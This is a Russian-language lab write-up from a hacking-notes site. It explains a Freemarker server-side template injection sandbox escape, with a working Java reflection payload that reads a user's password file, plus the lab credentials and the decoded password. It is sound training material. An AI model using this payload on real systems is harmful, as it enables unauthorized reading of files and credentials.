> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/ssti/ssti-in-sandboxed-environment.md).

# SSTI в песочнице

### Инъекция шаблонов на стороне сервера в изолированной среде

В этой лабораторной работе используется **Freemarker** движок шаблонов с плохо настроенной песочницей, что позволяет выполнить инъекцию шаблонов на стороне сервера. / Цель: обойти песочницу, чтобы прочитать `my_password.txt` файл в личной папке Карлоса, а затем отправить его содержимое.

Предоставленные учетные данные:/ `content-manager: C0nt3ntM4n4g3r`

#### 1. Проверка выполнения кода в шаблоне

Сначала мы проверяем, интерпретирует ли движок в шаблоне различные выражения Java:

```python
${7*7}
```

Вычисление интерпретируется, что подтверждает наличие SSTI с выполнением кода на стороне сервера.

<figure><img src="/files/5083e0e8f6c75a388c29dd340b7d1eab89870065" alt=""><figcaption></figcaption></figure>

#### 2. Обход песочницы и чтение конфиденциального файла

Чтобы выйти из песочницы и получить доступ к файловой системе, мы используем `product` объект, уже присутствующий в контексте шаблона, и поднимаемся к базовым классам Java, чтобы напрямую прочитать файл Карлоса:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

Это выражение возвращает содержимое `my_password.txt` файла в виде десятичных значений (байтовых кодов).

<figure><img src="/files/6cebdd91fbb6e58f828ee0d8025b127ebd11a9f0" alt=""><figcaption></figcaption></figure>

3/. Преобразование десятичных значений в текст

Полученный вывод представляет собой серию десятичных чисел:

`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`

Преобразование этих значений в ASCII дает следующий пароль:

`d2nrbpm5bucuzocjee6b`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/ssti/ssti-in-sandboxed-environment.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
